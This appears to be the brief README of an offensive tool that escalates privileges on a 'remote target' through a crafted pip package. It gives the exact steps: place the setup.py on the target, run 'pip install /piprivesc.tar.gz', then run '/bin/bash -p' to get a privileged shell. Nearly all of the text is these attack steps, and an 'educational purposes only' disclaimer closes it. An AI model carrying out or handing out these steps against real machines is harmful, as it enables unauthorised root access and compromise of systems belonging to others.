Just pip install this!
Simply download the setup.py file into remote target and execute this in local folder:
pip install /piprivesc.tar.gz
then
/bin/bash -p
This program is for educational purposes only. The author is not responsible for any misuse or damage caused by this program.